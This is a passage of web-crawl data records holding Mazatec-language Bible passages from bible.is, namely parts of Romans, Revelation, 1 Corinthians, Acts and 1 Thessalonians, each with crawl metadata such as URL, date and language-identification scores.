ini̱ma̱‑la̱ i̱t'aà ts'e̱ xi nguì xi̱ta̱ judío, ti̱koa̱á tjínè‑la̱ jñà xi mìtsà xi̱ta̱ judío nga ki̱nchako̱ nga tsjá‑la̱ tsojmì xi mochjeén‑la̱. 28K'e̱ nga jye kjoe̱het'aà kjoa̱ koi nga jye sìnga̱tsja jè to̱n xi kjòxkó, i̱kjoàn skotsejèn jngoò tjò‑nò, k'e̱é kjián ján España. 29Be‑ná nga 'ñó ndaà si̱ìchikon‑t'in‑ná Cristo k'e̱ nga kìjchokon‑nò. 30Ta̱nga jñò ndí 'ndsè, bìtsi'bà‑nò i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo ko̱ i̱t'aà ts'e̱ kjoa̱tjòcha xi tsjá‑ná Ini̱ma̱ Tsjeè‑la̱ Nainá, ti̱nókjoa̱t'aà‑là Nainá xi i̱t'aà ts'a̱n, 31mé‑ne nga ko̱si̱ko̱‑na̱ Nainá i̱t'aà ts'e̱ xi̱ta̱ xi mìkiì mokjeiín‑la̱ xi títsa̱jna ján Judea, ko̱ mé‑ne nga jè to̱n xi tìfiko̱‑la̱ xi̱ta̱‑la̱ Cristo xi títsa̱jna ján Jerusalén ndaà kàtasasén‑la̱, 32mé‑ne nga, tsà k'oa̱s'ín mejèn‑la̱ Nainá, nga ko̱ kjo̱tsja‑na̱ kìjchokon‑nò, ti̱koa̱ ko̱ma ndaà siìkjáya chiba na̱chrjein‑ko̱‑nò. 33Jè Nainá xi tsjá‑ná kjoa̱'nchán kàtìjnako̱‑nò ngats'ioò. K'oa̱s'ín kàtama.\nRomanos 15","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/15","date":"2013-12-05T11:30:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163044331\/warc\/CC-MAIN-20131204131724-00009-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":869,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.295,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2Jè cho̱ je xi ch'o kji xi 'a̱n kìjtseè, k'oa̱á kji koni kjoàn xa indo; k'oa̱á kjoàn ndso̱ko̱ koni ts'e̱ cho̱ oso; k'oa̱á kji tso'ba koni tso'ba xa. Jè nga'ñó xi tjín‑la̱ jè ye̱, ko̱ jè i̱'nde‑la̱ ñánda tíhotíxoma, ko̱ jè kjo̱tíxoma‑la̱ xi 'ñó tjín, jè cho̱ ts'e̱n kjònga̱tsja.\nApocalipsis 13:2\nOne App.\n815 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/13\/2","date":"2013-12-08T10:21:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163064915\/warc\/CC-MAIN-20131204131744-00087-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":0.9999978542,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 0.9999978542327881}","num_words":53,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.274,"stopwords_ratio":0.302,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'A̱n xi 'mì‑na Pablo, xi xó k'oa̱s'ín kinokjoà‑na nga 'a̱n tsibíxáya‑na Cristo Jesús, nga k'oa̱s'ín kjòmejèn‑la̱ Nainá. Titsa̱nìhixat'aà‑nòje̱n ko̱ Sóstenes xi 'ndseé chibá i̱t'aà ts'e̱ Cristo. 2Tìkjiì‑nò xo̱jo̱n carta jè, jñò xi na̱xa̱ndá‑la̱ Cristo maà xi titsa̱jnaà ján Corinto, xi jye kisìtsjeè‑nò Nainá nga ya̱ titsa̱kjoòko̱o Cristo Jesús nga xó k'oa̱s'ín jaàjiìn‑nò Nainá mé‑ne nga xi̱ta̱ tsjeè‑la̱ ko̱maà ko̱ ngats'iì xi̱ta̱ xi xki̱ xi ján chja̱t'aà‑la̱ nga jeya síkíjna jè Na̱'èn‑ná Jesucristo xi otíxoma‑ná, ti̱koa̱ jè otíxoma‑la̱ xi̱ta̱ koi. Xi Na̱'èn‑ná 'mì‑lá, ti̱koa̱ Na̱'èn‑ná tsò‑la̱ jñà xi̱ta̱ koi. 3Nainá xi Na̱'èn‑ná, ko̱ jè Jesucristo xi otíxoma‑ná kàtatsjá‑nò kjo̱ndaà ko̱ kjoa̱'nchán ya̱ i̱jiìn ini̱ma̱‑nò. 4Kjit'aà na̱chrjein tsjaà‑la̱ kjo̱ndaà Nainá xi i̱t'aà tsa̱jòn koií kjoa̱‑la̱ jñà kjo̱ndaà xi kitsjaà‑nò Nainá nga ndaà kisìchikon‑t'in‑nò i̱t'aà ts'e̱ Cristo Jesús. 5Nga̱ ya̱á i̱t'aà ts'e̱ Cristo, Nainá kisìchikon‑t'in yije kjo̱hítsjeèn‑la̱ ini̱ma̱‑nò, kós'ín nokjoà, ko̱ kós'ín machi̱ya‑nò 'én‑la̱ Nainá. 6Nga̱ k'oa̱á s'ín 'ya‑la̱, nga jè 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo kjòkixi̱yaá i̱jiìn ini̱ma̱‑nò. 7Ni̱mé kjo̱tjò‑la̱ Nainá chijat'aà‑nò k'e̱ nga tákó titsa̱chiñá‑là nga kjoi̱í ìjngoò k'a Jesucristo xi otíxoma‑ná. 8Nainá tsjá‑nò nga'ñó skanda k'e̱ nga kjoe̱het'aà na̱chrjein, mé‑ne nga ni̱mé jé sa̱kòt'aà‑nò k'e̱ nga ki̱tjojen ìjngoò k'a Jesucristo xi otíxoma‑ná. 9Nainá xi̱ta̱ kixi̱‑né, síkitasòn‑né koni s'ín tsjá 'én‑la̱. Xó k'oa̱á s'ín kiìchja̱‑nò nga ya̱ chrañà ki̱tsa̱jnakjoòko̱o Jesucristo xi ki'ndí‑la̱ tsò‑la̱ nga jè otíxoma‑ná. 10Ndí 'ndsè ko̱ tichjaá, i̱t'aà ts'e̱ o̱kixi̱ xi kitsjaà‑na Jesucristo xi otíxoma‑ná, tìbitsi'bà‑nò ngats'ioò, ngásòn ngáya titsa̱jnako̱o xinguio̱o, mé‑ne nga mì ko̱jòya‑ne kjo̱hítsjeèn‑nò. Ta̱jngoò kjo̱hítsjeèn ti̱kjeén, ngásòn jchósòn‑là ni̱ta̱ mé kjoa̱‑ne. 11Koií ko̱xan‑nò ndí 'ndsè, nga jñà xi̱ta̱ ni'ya‑la̱ Cloé, tsibéno̱jmí‑na̱ nga kjoa̱siì tjín‑nò. 12Koií k'oa̱s'ín tìxan‑nò, tjín i'nga xi̱ta̱ xinguia̱á xi tsò: \"'A̱n, jé Pablo fìt'aà‑la̱.\" Tjín xi tsò: \"'A̱n, jè Apolos fìt'aà‑la̱.\" Tjín xi tsò: \"'A̱n, jè Cefas [xi ti̱koa̱ Pedro 'mì] fìt'aà‑la̱.\" Tjín xi tsò: \"'A̱n, jè Cristo fìt'aà‑la̱.\" ¿Mé‑ne o̱bixón‑nò? 13¿A kjìn ya ma‑ne Cristo? ¡Majìn! ¿A jè Pablo xi kisit'aà krò i̱t'aà tsa̱jòn? ¡Majìn! ¿A i̱t'aà ts'e̱é Pablo komà bautizar? ¡Majìn! 14Ndaà chjí‑la̱ Nainá, 'a̱n, mìtsà yá xi̱ta̱ kis'iaàn bautizar ya̱ na̱xa̱ndá tsa̱jòn, ta jè Crispo ko̱ Gayo, 15mé‑ne nga mì yá xi̱ta̱ ki̱tso̱‑ne: \"I̱t'aà ts'e̱é Pablo komà bautizar.\" 16Sa̱á tíbítsjeèn‑na nga ti̱koa̱ kis'iaàn bautizar Estéfanas ko̱ xi̱ta̱ xíkjín, ta̱nga mìkiì bítsjeèn‑na̱ tsà kis'iaàn bautizar xi kj'ei̱í xi̱ta̱. 17Jè Cristo mìtsà koi xá kisìkasén‑na nga xi̱ta̱ s'iaàn bautizar; koií xá kisìkasén‑na nga 'a̱n kichjàya 'én ndaà‑la̱ Nainá. K'e̱ nga chjàya, mìtsà 'én‑la̱ xi̱ta̱ chji̱ne̱ sìkjeén; majìn‑na nga chi̱ja nga'ñó‑la̱ krò‑la̱ Cristo. 18Jñà 'én xi tínokjoáya i̱t'aà ts'e̱ Cristo nga k'en‑t'aà krò, ta kjoa̱ ská ma‑la̱ jñà xi̱ta̱ xi ya̱ tjímaya ndi̱yá‑la̱ i̱'nde kjo̱'in. Ta̱nga jñá xi jye titsa̱bitjokàjñaá kjo̱'in, k'oa̱á s'ín mokjeiín‑ná nga jè 'én‑la̱ Cristo nga'ñó‑la̱ Nainá‑né. 19K'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: Jñà xi̱ta̱ xi 'ñó tjín‑la̱ kjoa̱ chji̱ne̱, 'a̱án kokoò‑la̱ nga ni̱mé chjí‑la̱ kjoa̱chji̱ne̱‑la̱. 'A̱án kochrjeènguia kjo̱hítsjeèn‑la̱ jñà xi̱ta̱ xi 'ñó machi̱ya‑la̱. 20Jñà xi̱ta̱ xi 'ñó tjín‑la̱ kjoa̱chji̱ne̱, ko̱ xi 'ñó chji̱ne̱ xo̱jo̱n ko̱ xi joóya‑ne kjoa̱ xi tjín i̱sò'nde, i̱'ndei̱, ¿ñánda títsa̱jnako̱ kjoa̱chji̱ne̱‑la̱? Jè Nainá, kisìskáya‑la̱ kjoa̱chji̱ne̱ xi tjín‑la̱ xi̱ta̱ i̱sò'nde. 21Nainá 'ñó xi̱ta̱ chji̱ne̱, mìkiì kitsjaà'nde‑la̱ xi̱ta̱ nga i̱t'aà ts'e̱ kjoa̱chji̱ne̱‑la̱ i̱sò'nde kijtseèxkon. Nainá k'oa̱á s'ín sasén‑la̱ nga ochrjekàjiìn kjo̱'in jñà xi mokjeiín‑la̱ i̱t'aà ts'e̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo, 'én xi tsò‑la̱ xi̱ta̱ koi, kjoa̱ ská‑né. 22Jñà xi̱ta̱ judío [mìkiì mokjeiín‑la̱] nga jé xi mejèn‑la̱ nga skoe̱ kjo̱xkón xi 'ñó jeya tjín, ko̱ jñà xi mìtsà xi̱ta̱ judío [ti̱koa̱á mìkiì mokjeiín‑la̱] nga koií ótsji xi 'ñó kjoa̱ chji̱ne̱. 23Ta̱nga ngaje̱n k'oa̱á s'ín nokjoàya‑je̱n nga krò k'en‑t'aà Cristo [xi̱ta̱ xi xó kisìkasén‑ne Nainá]. Jñà xi̱ta̱ judío mìkiì mokjeiín‑la̱ kjoa̱ xi komàt'in Cristo, ko̱ jñà xi mì xi̱ta̱ judío, kjoa̱ ská ma‑la̱. 24Ta̱nga jñà xi̱ta̱ xi xó jaàjiìn‑ne Nainá, xi xi̱ta̱ judío ko̱ xi mìtsà xi̱ta̱ judío, k'oa̱á s'ín mokjeiín‑la̱ nga jè Cristo nga'ñó‑la̱ Nainá‑né ko̱ kjoa̱ chji̱ne̱‑la̱ Nainá‑né. 25Kjoa̱‑la̱ Nainá xi ta kjoa̱ ská tsò‑la̱ xi̱ta̱ i̱sò'nde, kjoa̱ chji̱ne̱‑la̱ Nainá‑né. Ìsa̱á tse kjoa̱chji̱ne̱ tjín‑la̱ mì k'oa̱á‑ne koni kjoa̱chji̱ne̱ xi tjín‑la̱ xi̱ta̱ i̱sò'nde. Ko̱ jè kjoa̱‑la̱ Nainá xi ta kjoa̱ indaà tsò‑la̱ xi̱ta̱ i̱sò'nde, nga'ñó‑la̱ Nainá‑né. Ìsa̱á tse nga'ñó tjín‑la̱ mì k'oa̱‑ne koni nga'ñó xi tjín‑la̱ xi̱ta̱ i̱sò'nde. 26Jñò ndí 'ndsè ko̱ ndí tichjaá, ti̱kítsjeèn k'e̱ nga sa̱ jaàjiìn‑nò Nainá, chibaá ma‑nò xi xi̱ta̱ chji̱ne̱ tsò‑nò xi̱ta̱ i̱sò'nde, ko̱ chibaá ma‑nò xi xi̱ta̱ ítjòn titsa̱jnaà, ti̱koa̱ chibaá ma‑nò xi ya̱ ni'ya‑la̱ xi̱ta̱ sko̱‑la̱ kits'iòn. 27Ta̱nga Nainá jaàjiìn jñà xi̱ta̱ xi tsò‑la̱ xi̱ta̱ i̱sò'nde nga chiba kjo̱hítsjeèn tjín‑la̱ mé‑ne ko̱sobà‑la̱ jñà xi̱ta̱ chji̱ne̱. Ti̱koa̱ jaàjiìn Nainá xi tsò‑la̱ xi̱ta̱ i̱sò'nde nga ni̱mé chjí‑la̱ mé‑ne ko̱sobà‑la̱ jñà xi̱ta̱ xi xi̱ta̱ ítjòn títsa̱jna. 28Nainá jaàjiìn xi̱ta̱ i̱ma̱ ko̱ xi̱ta̱ xi bitjongui xi tsò‑la̱ xi̱ta̱ i̱sò'nde nga nìmé chjí‑la̱, mé‑ne ki̱tjongui‑ne jñà xi̱ta̱ xi tsò nga jñà títsa̱jna ítjòn, 29mé‑ne ni̱jngoò xi̱ta̱ xi 'nga si̱ìkíjna‑ne yijo‑la̱ nga nguixko̱n Nainá. 30Ta̱nga ti̱jè‑ne Nainá kisìkítsa̱jnako̱‑ná Cristo Jesús. K'oa̱á ti̱s'ín kis'iìn nga i̱t'aà ts'e̱ Cristo sakó‑ná jè kjoa̱chji̱ne̱, nga jè Cristo, xi̱ta̱ kixi̱ s'ín‑ná, xi̱ta̱ tsjeè s'ín‑ná ko̱ síkítsa̱jnandei̱í‑ná kjoa̱ ts'e̱ jé‑ná. 31Koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Jè xi jeya síkíjna yijo‑la̱, ta sa̱á Nainá jeya kàtasíkíjna.\"\n1 Corintios Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1Cor\/","date":"2013-12-13T20:37:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164989714\/warc\/CC-MAIN-20131204134949-00040-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"maa_Latn_score\": 1.0000089406967163}","num_words":833,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.346,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga jye kinìhixat'aà‑je̱n xi̱ta̱ xingui̱‑je̱n, tsitsa̱jnaya‑je̱n chitso; tsanguí kixi̱‑je̱n na̱xa̱ndá jiìn‑ndá ñánda 'mì Cos; xi komà inchijòn ijchò‑je̱n na̱xa̱ndá Rodas, i̱kjoàn tsanguì‑je̱n skanda na̱xa̱ndá Pátara. 2Ya̱ Pátara síjna ìjngoò chitso xi tífì Fenicia; jè tsitsa̱jnaya‑je̱n nga tsanguì‑je̱n. 3K'e̱ nga tsitjaàjiìn‑ndá‑je̱n, ki'ya‑je̱n nangui jiìn‑ndá ts'e̱ Chipre xi kijna ya̱ ngaskón‑naje̱n; ta̱nga tsanguí kixi̱‑náje̱n skanda Siria. Jè chitso, ya̱á kisasijna i̱ndiì ndáchikon Tiro nga ya̱á chinchá ch'á‑la̱ xi 'ya. 4Ya̱ Tiro, kiskaàkjoò‑je̱n xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo, itoò na̱chrjein tsitsa̱jnako̱‑je̱n. Jñà xi̱ta̱ koi kitsò‑la̱ Pablo nga mìkiì kjoi̱ ján Jerusalén; jè Ini̱ma̱ Tsjeè‑la̱ Nainá k'oa̱á s'ín tsibéno̱jmíya‑la̱. 5K'e̱ nga jye ijchò jngoò xomàna̱ nga titsa̱jna‑je̱n, i̱kjoàn itjo ìjngoò k'a‑je̱n. Tsobáhijtako̱ yije‑naje̱n jñà xi̱ta̱‑la̱ Cristo, ko̱ íchjín‑la̱ ko̱ i̱xti‑la̱ skanda ján i̱ndiì na̱jnchra̱. Ko̱ ya̱á i̱ndiì ndáchikon chincha-xkó'nchi‑je̱n nga kinokjoàt'aà‑la̱je̱n Nainá. 6I̱kjoàn kinìhixat'aà‑je̱n xi̱ta̱ xingui̱‑je̱n, tsitjaàs'en‑je̱n chitso koa̱ jñà xi̱ta̱ koi, kiì‑ne ni'ya‑la̱. 7Ya̱á jyehet'aà nga tsitjaàjiìn‑ndá‑je̱n nga itjo‑naje̱n Tiro skanda ijchò‑je̱n Tolemaida. Ya̱á kinìhixat'aà‑je̱n xi̱ta̱ xinguia̱á i̱t'aà ts'e̱ Cristo; jngoò na̱chrjein tsitsa̱jnako̱‑je̱n. 8K'e̱ nga komà nchijòn, tsanguì‑je̱n ján Cesarea. Ijchò‑je̱n ni'ya‑la̱ Felipe, xi̱ta̱ xi chja̱ya 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo, jè xi ta̱ña kitjaàjiìn‑ko̱ jñà xi̱ta̱ xi itoò ma‑ne nga kisìxáko̱ na̱xa̱ndá‑la̱ Cristo. Ya̱á kinìkjáya‑je̱n ni'ya‑la̱. 9Ñijòn ma i̱xti íchjín xo̱ngó‑la̱ xi síkjeén Nainá nga chja̱ ngajo‑la̱. 10Kjìn na̱chrjein tsitsa̱jnako̱‑je̱n Felipe. Ya̱á j'iì jngoò xi̱ta̱ xi 'mì Agabo xi inchrobà‑ne Judea jè xi síkjeén Nainá nga chja̱ ngajo‑la̱. 11K'e̱ nga ijchòkon‑naje̱n, kiskoé sincho̱ xi bìjnakjá Pablo. Tsibí'ñó tsja ko̱ ndso̱ko̱, i̱kjoàn kitsò: ―K'oa̱á tsò jè Ini̱ma̱ Tsjeè‑la̱ Nainá: kiís'ín koi̱ìt'aà'ñó jñà xi̱ta̱ judío ján Jerusalén jè xi̱ta̱ nei‑la̱ sincho̱ jè; i̱kjoàn si̱ìnga̱tsja xi mìtsà xi̱ta̱ judío. 12Ngaje̱n ko̱ xi̱ta̱ Cesarea, k'e̱ nga kina'yà‑je̱n 'én koi, tsibìtsi'ba‑la̱je̱n Pablo nga mìkiì kjoi̱ Jerusalén. 13Ta̱nga jè Pablo kitsò: ―¿Mé xi ma‑nò? ¿Mé‑ne chìhindáya‑nò? Kì nìba‑là ini̱ma̱‑na̱. 'A̱n tíjngoò takoàn nga kàtít'aà'ñó‑na na̱s'ín kàtasík'en‑na xi̱ta̱ ján Jerusalén xi kjoa̱ ts'e̱ Na̱'èn‑ná Jesucristo. 14Mìkiì komà kichjaàxìn‑la̱je̱n kjo̱hítsjeèn‑la̱; tà k'oa̱á ki'mì‑la̱je̱n: ―K'oa̱s'ín kàtitasòn koni s'ín mejèn‑la̱ Nainá. 15Xi komà i̱skan, tsibìxkó‑je̱n tsojmì‑na̱je̱n, i̱kjoàn tsanguí‑je̱n Jerusalén. 16Tsobáhijtako̱ i'nga‑naje̱n jñà xi̱ta̱‑la̱ Cristo xi Cesarea i̱'nde‑la̱. Kiìko̱‑na̱je̱n ya̱ ni'ya‑la̱ xi̱ta̱ xi 'mì Mnasón xi Chipre i̱'nde‑la̱. Xi̱ta̱ jè kjòtseé kota'yàt'aà‑la̱ Cristo. Ya̱á kinìkjáyako̱‑je̱n. 17K'e̱ nga ijchò‑je̱n Jerusalén, jñà xi̱ta̱‑la̱ Cristo xi ya̱ títsa̱jna, tsjaá komà‑la̱ nga kiskoétjò‑naje̱n. 18Xi komà inchijòn, tsanguì‑je̱n ko̱ Pablo ni'ya‑la̱ Jacobo; ya̱á títsa̱jna ngats'iì xi̱ta̱ jchínga xi otíxoma i̱jiìn na̱xa̱ndá‑la̱ Nainá. 19Pablo kisìhixat'aà xi̱ta̱ koi, i̱kjoàn tsibéno̱jmí yije‑la̱ kjoa̱ xi tís'ín Nainá i̱t'aà ts'e̱ xi̱ta̱ xi mìtsà xi̱ta̱ judío nga jè tísíkjeén Pablo xá xi tís'ín. 20K'e̱ nga kiì'nchré 'én koi, jeyaá kisìkíjna Nainá. I̱kjoàn kitsò‑la̱ Pablo: ―Ji̱ ndí 'ndsè, tí'ya‑né nga jñà xi̱ta̱ judío jyeé 'ñó kjìn jmiì ma‑ne xi mokjeiín‑la̱ i̱t'aà ts'e̱ Jesús. Ngats'iì xi̱ta̱ koi, 'ñó mejèn‑la̱ nga ki̱tasòn kjo̱tíxoma xi Nainá kitsjaà‑la̱ Moisés. 21Ta̱nga jye xó kiì'nchré xi i̱t'aà tsi̱ji nga k'oa̱á xó s'ín okoòya‑la̱ ngats'iì xi̱ta̱ judío xi títsa̱jnajiìn ya̱ na̱xa̱ndá‑la̱ jñà xi mìtsà xi̱ta̱ judío nga mì xó ti̱ kiì si̱ìkitasòn‑ne kjo̱tíxoma‑la̱ Moisés; kàtasíchija xó kjo̱tíxoma xi tjín‑ná xi xi̱ta̱ judío 'mì‑ná, ti̱koa̱ mì xó ti̱ kiì si̱t'aà chi̱ba̱‑la̱ jñà ndí i̱xti kjoa̱ ts'e̱ circuncisión. 22¿Mé xi s'e̱én? Kjo̱'ñó‑né kji̱'nchré xi̱ta̱ nga i̱ tijni. 23K'oa̱á s'ín t'i̱in koni s'ín 'mì‑lèje̱n; i̱ títsa̱jnajiìn ñijòn‑naje̱n xi̱ta̱ xi si̱ìkitasòn koni s'ín kitsjaà‑la̱ tso'ba Nainá nga si̱ìtsjeèya yijo‑la̱. 24Tikoi̱i jñà xi̱ta̱. Ti̱tsjeèyi yijo‑lè ko̱ xi̱ta̱ koi. Tíchjí nga kàtasijno‑la̱ tsja̱ sko̱ mé‑ne nga skoe̱‑ne xi̱ta̱ xi kj'ei̱í nga mìtsà kixi̱ kjoa̱ koni tsò‑lè xi̱ta̱. Ya̱á skoe̱‑ne nga ti̱koa̱á ngaji̱ nìkitasoìn kjo̱tíxoma‑la̱ Moisés. 25I̱t'aà ts'e̱ xi̱ta̱ xi mìtsà xi̱ta̱ judío xi jye mokjeiín‑la̱ 'én‑la̱ Cristo, jyeé kinìkasén‑la̱je̱n xo̱jo̱n koni s'ín kichoòsòn‑la̱je̱n nga mìkiì ski̱ne̱ tsojmì xi xkósòn sinchát'aà‑la̱; mìkiì ski̱ne̱ jní‑la̱ cho̱; ti̱koa̱á mìkiì ski̱ne̱ yijo‑la̱ cho̱ xi mìkiì xíxteèn jní‑la̱ k'e̱ nga biyaà; ti̱koa̱á kì ti̱ kjoa̱ chijngui sís'in‑la̱. 26Xi komà nchijòn, Pablo kiìko̱ nga ñijòn xi̱ta̱ koi. Ta̱ñaá kisìkitasòn kjo̱tíxoma‑la̱ xi̱ta̱ judío nga kisìtsjeèya yijo‑la̱ kjoa̱ ts'e̱ jé‑la̱. I̱kjoàn kiì ya̱ ñánda tíjna i̱ngo̱ ítjòn nga kisìkí'nchré jñà xi̱ta̱ mé na̱chrjein kjoe̱het'aà na̱chrjein‑la̱ nga nchisítsjeèya yijo‑la̱; i̱kjoàn ko̱ma kji̱ko̱ cho̱ xi kjo̱tjò ts'e̱ Nainá nga jngoò ìjngoò. 27K'e̱ nga jye kjo̱meè bijchó itoò na̱chrjein, jñà xi̱ta̱ judío xi inchrobà‑ne nangui Asia, kijtseèxkon Pablo nga ya̱ tíjna ndi̱tsin i̱ngo̱ ítjòn; chinchá'a ngats'iì xi̱ta̱ nga kitsobà'ñó. 28'Ñó kiìchja̱, kitsò: ―¡Ngats'ioò xi xi̱ta̱ Israel 'mì‑nò, ti̱chját'aà‑náje̱n! Jè xi̱ta̱ jè xi tsó'ba nga kijndà na̱xa̱ndá nga okoòya kjo̱tíxoma xi kondra̱ ts'e̱ na̱xa̱ndá, kondra̱ ts'e̱ kjo̱tíxoma‑la̱ Moisés, ko̱ kondra̱‑la̱ i̱ngo̱ ítjòn. Skanda j'iìko̱ó xi̱ta̱ xi mìtsà xi̱ta̱ judío xi kisìkas'en ya̱ ndi̱tsin i̱ngo̱ nga sítjé jè i̱'nde tsjeè‑la̱ Nainá. 29Xi̱ta̱ koi, koií kjoa̱‑la̱ nga k'oa̱s'ín kitsò, k'e̱ nga sa̱ ítjòn kijtseèxkon Pablo ya̱ i̱jiìn na̱xa̱ndá nga ta̱ña tímakjoòko̱ jngoò xi mìtsà xi̱ta̱ judío xi 'mì Trófimo xi xi̱ta̱ Éfeso; k'oa̱á s'ín kisìkítsjeèn tsà ti̱koa̱á kiìko̱‑né ya̱ ndi̱tsin i̱ngo̱. 30Kóho̱kji na̱xa̱ndá kiì'nchré nga kjoa̱siì kisakò. Ni̱to̱ón chixoña xi̱ta̱. Kitsobà'ñó Pablo; kjo̱'ñó tsachrje ya̱ ndi̱tsin i̱ngo̱; i̱kjoàn tsibíchjoàjto‑la̱ xotjoa̱ i̱ngo̱. 31Jye mejèn nchisík'en ta̱nga ni̱to̱ón kiì'nchré jè xi̱ta̱ sko̱‑la̱ soldado ts'e̱ Roma nga kjoa̱siì kisakò na̱xa̱ndá Jerusalén. 32Jè xi̱ta̱ sko̱‑la̱ soldado, ni̱to̱ón kiìchja̱ i'nga‑la̱ soldado xi ìsa̱ nangui xá tjín‑la̱ nga tsibíxkóya soldado‑la̱; i̱kjoàn tsangachikon, kiì ñánda tjín kjoa̱siì. Jñà xi̱ta̱, k'e̱ nga kijtseè soldado, k'e̱é kitsjeiìn Pablo; mì ti̱ kiì kiskaàn‑ko̱‑ne. 33K'e̱ nga ijchò xi̱ta̱ sko̱‑la̱ soldado, kitsobà'ñó Pablo; kitsjaà o̱kixi̱ nga jò na'ñó ki̱cha̱ cadena kisit'aà'ñó Pablo. I̱kjoàn kiskònangui yá xi̱ta̱‑ne xi 'mì Pablo ko̱ mé xi kis'iìn. 34Jñà xi̱ta̱ xi kjìn ma‑ne, xki̱ xi ján chja̱; ka̱kj'ei̱í ka̱kj'ei̱í tsò nga jngoò ìjngoò. Jè xi̱ta̱ sko̱‑la̱ soldado, mìkiì kisakò‑la̱ mé kjoa̱ xi komà nga 'ñó siì nchis'ín. Kitsjaà‑la̱ o̱kixi̱ soldado‑la̱ nga kàtjìko̱ Pablo ján cuartel. 35K'e̱ nga nchifìmijìn‑jno escalón, jñà soldado tsa'nga Pablo, koií kjoa̱‑la̱ nga jñà xi̱ta̱ xi kjìn ma‑ne xi tji̱ngui‑la̱, 'ñó nchimats'e̱n, 36nga tsò: ―¡Ti̱k'eèn! 37Jè Pablo, k'e̱ nga jye tífahas'en cuartel kiìchja̱‑la̱ jè xi̱ta̱ sko̱‑la̱ soldado, kitsò‑la̱: ―¿A ko̱ma kichjàko̱ jngoò tjò‑lè? Jè xi̱ta̱ sko̱‑la̱ soldado kitsò: ―¿A maá‑lè nokjoì 'én griego? 38¿A mìtsà ngaji̱ xi xi̱ta̱ Egipto i̱'nde‑lè xi tsibíts'i̱i kjoa̱siì kò jngoò kò jò nó nga kiìkoi̱i ñijòn jmiì xi̱ta̱ kjoa̱siì ján i̱'nde i̱t'aà xìn ñánda nangui kixì choòn? 39Pablo kitsò: ―'A̱n, xi̱ta̱ judío‑ná, ya̱á i̱'nde‑na̱ Tarso, jngoò na̱xa̱ndá xi ndaà yaxkon‑la̱ ts'e̱ nangui Cilicia; tjín‑lè kjo̱ndaà, tjiì'nde‑ná nga kichjàkoa̱a xi̱ta̱ na̱xa̱ndá. 40Jè xi̱ta̱ sko̱‑la̱ soldado, kitsjaà'nde‑la̱; i̱kjoàn tsasìjna kixi̱ Pablo ya̱ escalón; kiskímiìtje̱n tsja nga jyò kàtìtsa̱jna xi̱ta̱ na̱xa̱ndá. K'e̱ nga jye tsibìtsa̱jnajyò, kiìchja̱ko̱ 'én hebreo, kitsò:\nHechos 21","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/21","date":"2013-12-10T23:29:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164027110\/warc\/CC-MAIN-20131204133347-00051-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000034571,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.000003457069397}","num_words":1048,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.273,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga mì kì ti̱ ichìkjoa̱-isa‑naji̱n nga mejèn‑naji̱n jcha̱‑ji̱n kó'sín nga titsa̱hijyo jiòn, 'kia̱á iníkítsjen‑ji̱n nga tsi'kìn‑la̱ji̱n xàngi̱‑ji̱n: \"Ndaá‑la 'se̱ tsa si̱kasén jè 'ndsé Timoteo ko̱ ra jién i̱ ki̱tsa̱hijyeé i̱ Atenas.\" 2'Koa̱á ma‑ni nga ta jè inikasén‑ji̱n jè 'ndsé Timoteo, jè chi̱'nda‑la̱ Nainá ra bakón‑ya‑te 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo, mé‑ni nga jè katatsjá nga'ñó-isa‑no ko̱ katasíje ikon‑no kó'sín nga isa̱ nda ko̱kjiín‑isa‑no, 3mé‑ni nga ni̱jngo ra si̱hinda a̱'ta 'tse̱ kjo̱hi'in kìi̱. Nga̱ jiòn, ijyeé tjíjin‑no nga xá 'koa̱á 'sín tjínè‑la̱ nga ka̱ma'tieén. 4'Kia̱ nga ti̱'sa̱ ya̱ tsikitsa̱jnako̱‑laji̱n ti̱'kia̱á 